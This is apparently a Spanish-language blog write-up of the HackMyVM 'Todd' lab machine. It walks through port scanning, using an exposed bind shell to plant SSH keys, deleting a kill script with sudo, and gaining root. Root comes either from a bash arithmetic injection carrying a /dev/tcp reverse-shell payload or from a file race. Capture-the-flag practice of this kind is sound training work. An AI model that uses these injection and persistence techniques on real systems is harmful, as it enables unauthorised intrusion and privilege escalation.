cd ~/blog

~/writeups/hmv/124-todd.md

124 - Todd

easy Linux hmv 27-05-2025
Exposed bind shell (authorized_keys planting)sudo rm (remove kill script)sudo bash script input injection
hackmyvm.eu/machines/machine.php?vm=Todd

~1 min de lectura


Enumeramos puertos (con varios puertos altos tcpwrapped):

 nmap -sCV -p 22,80,1157,3103,7066,12958,18888,20269,22227,23532,23871,25116,29010 -oN 02-targeted.txt 192.168.1.10
...
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp    open  http       Apache httpd 2.4.59 ((Debian))
|_http-title: Mindful Listening
7066/tcp  open  tcpwrapped
...

En /tools hay un set de herramientas (fscan, linpeas, pspy64...). Conectando con netcat al puerto 7066 caemos en una shell que se desconecta cada 3 minutos:

 nc 192.168.1.10 7066
pwd
/root

Aunque la shell aparece en /root, no podemos persistir ahí; aprovechamos la ventana para preparar acceso por SSH como todd.

Generamos una clave y, rápidamente, plantamos nuestro authorized_keys en el home de todd:

 ssh-keygen -t rsa
...

 nc 192.168.1.10 7066
cd /home/todd
mkdir .ssh
cd .ssh
echo 'ssh-rsa...'  > authorized_keys

Entramos por SSH y obtenemos la primera flag:

 ssh todd@192.168.1.10 -i id_rsa
Enter passphrase for key 'id_rsa': 1234
...
$

La sesión sigue cerrándose; con pspy64 vemos un script que mata a todd:

$ ./pspy64
...
2025/05/27 20:04:01 CMD: UID=0     PID=7950   | /bin/sh -c /bin/bash /opt/kill_todd.sh
...

Revisamos sudo -l:

$ sudo -l
...
User todd may run the following commands on todd:
    (ALL : ALL) NOPASSWD: /bin/bash /srv/guess_and_check.sh
    (ALL : ALL) NOPASSWD: /usr/bin/rm
    (ALL : ALL) NOPASSWD: /usr/sbin/reboot

Primero eliminamos el script molesto con sudo rm:

$ sudo rm /opt/kill_todd.sh

Analizamos guess_and_check.sh: pide un número aleatorio (anti-bot), luego comprueba que exista un archivo "true" y no exista uno "false" en /tmp antes de leer /root/.cred:

a=$((RANDOM%1000))
echo "Please Input [$a]"
read -p ">>>" input_number
[[ $input_number -ne "$a" ]] && exit 1
...
[[ -f "$true_file" ]] && [[ ! -f "$false_file" ]] && cat /root/.cred || exit 2

Camino 1 — inyección directa en el input (el -ne evalúa aritméticamente, permitiendo command substitution):

todd@todd:/tmp$ sudo /bin/bash /srv/guess_and_check.sh
...
Please Input [485]
>>>N[$(/bin/bash -i >& /dev/tcp/192.168.1.3/1234 0>&1)]

 ncat -nlvp 1234
Ncat: Connection from 192.168.1.10:55452.
root@todd:/tmp#

Camino 2 — ganar la condición de carrera de archivos: generamos muchos archivos "dummy" en /tmp y ejecutamos el script en bucle hasta que se cumplan las condiciones y se filtre la contraseña de root:

todd@todd:/tmp$ for i in {1..200}; do touch "$i"; done
todd@todd:/tmp$ while true; do sudo /bin/bash /srv/guess_and_check.sh; done
...
>>>649
f**********

todd@todd:/tmp$ su root
Password:
root@todd:/tmp#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados